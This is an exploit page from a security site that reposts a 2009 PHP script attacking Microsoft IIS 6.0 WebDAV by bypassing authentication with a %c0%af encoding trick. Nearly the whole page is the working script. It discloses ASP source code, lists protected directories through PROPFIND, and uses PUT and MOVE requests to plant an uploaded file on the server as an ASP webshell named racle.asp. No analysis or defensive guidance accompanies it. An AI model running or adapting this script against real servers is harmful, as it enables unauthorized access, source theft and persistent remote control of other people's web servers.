首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (php)
来源:racle@tian6.com 作者:racle 发布时间:2009-05-25  

<?

print_r('
********  IIS 6 WEBDAV Exploit.By racle@tian6.com && Securiteweb.org  ********
                                                        
       Usage: php '.$argv[0].' source/path/put host path   
       Example: php '.$argv[0].' source www.tian6.com /blog/readme.asp       
       Example2: php '.$argv[0].' path www.tian6.com /secret/
       Example3: php '.$argv[0].' put www.tian6.com /secret/ test.txt(evil code as test.txt)
****************************************************************
');

//verification du debut
if($argv[1]!="source"&&$argv[1]!="path"&&$argv[1]!="put"){echo "Choose a action,source or path or put.";die;}
else {$action=$argv[1];}

if(stristr($argv[2],"http://")){echo "No http:// in the host!";die;}
else{$host=$argv[2];}

if(stristr($argv[3],"/")==false){echo "Where is the / ?";die;}
else{$path=$argv[3];}


//sent
function sent($sock)  
{  
global  $host, $html;  
$ock=fsockopen(gethostbyname($host),'80');  
if (!$ock) {  
echo 'No response from '.$host; die;  
}  
fputs($ock,$sock);  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
fclose($ock);  
}  

if($action=="source"){
 $position=strrpos($path,"/");
    $path=substr_replace($path,"%c0%af/",$position,1);
 $sock="GET ".$path." HTTP/1.1\r\n";
    $sock.="Translate: f\r\n";
 $sock.="Host: ".$host."\r\n";
    $sock.="Connection:close\r\n\r\n";
 sent($sock);
 echo $html;
 die;
 }


if($action=="path"){
 $position=strrpos($path,"/");
    $path=substr_replace($path,"%c0%af",$position,0);
 $sock="PROPFIND  ".$path." HTTP/1.1\r\n";
 $sock.="Host: ".$host."\r\n";
    $sock.="Connection:close\r\n";
 $sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
 $sock.="Content-Length: 0\r\n\r\n";
    $sock.='<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>';
    sent($sock);
 $bur=explode("<a:href>",$html);
    foreach($bur as $line){$no=strpos($line,"<");$resultat.=substr($line,0,$no)."\n";}
    echo $resultat;
 die;
    }


if($action=="put"){
 echo "Remember,keep urfile in type txt!\r\n\r\n";
     $fp = fopen("test.txt", 'r');
  if($fp!=false){
     while (false!==($char = fgets($fp))) {
     $fir1=$char;
     }
     fclose($fp);
 $position=strrpos($path,"/");
    $path=substr_replace($path,"%c0%af",$position,0);
    $sock="PUT ".$path."test.txt HTTP/1.1\r\n";
 $sock.="Host: ".$host."\r\n";
 $sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
 $sock.="Connection:close\r\n";
 $sock.="Content-Length: ".strlen($fir1)."\r\n\r\n";
    $sock.="".$fir1."\r\n";
    echo $sock; sent($sock);sleep(2);
 $sock="MOVE ".$path."test.txt HTTP/1.1\r\n";
    $sock.="Host: ".$host."\r\n";
    $sock.="Connection:close\r\n";
 $sock.="Destination: ".$path."racle.asp\n\n";
    sent($sock);
 echo "Be cool,man! Webshell is http://".$host.$path."racle.asp";
 die;}
 else{die;}
 }


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Article Directory (Auth Bypass
·Winamp 5.551 MAKI Parsing Inte
·Job Script 2.0 Arbitrary Shell
·Winamp <= 5.55 (MAKI script) U
·Flash Quiz Beta 2 Multiple Re
·ZaoCMS (user_updated.php) Remo
·ChinaGames (CGAgent.dll) Activ
·Winamp <= 5.55 (MAKI script) U
·BaoFeng (config.dll) ActiveX R
·Mole Group Sky Hunter/Bus Tick
·ASP Inline Corporate Calendar
·ChinaGames (CGAgent.dll) Activ
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved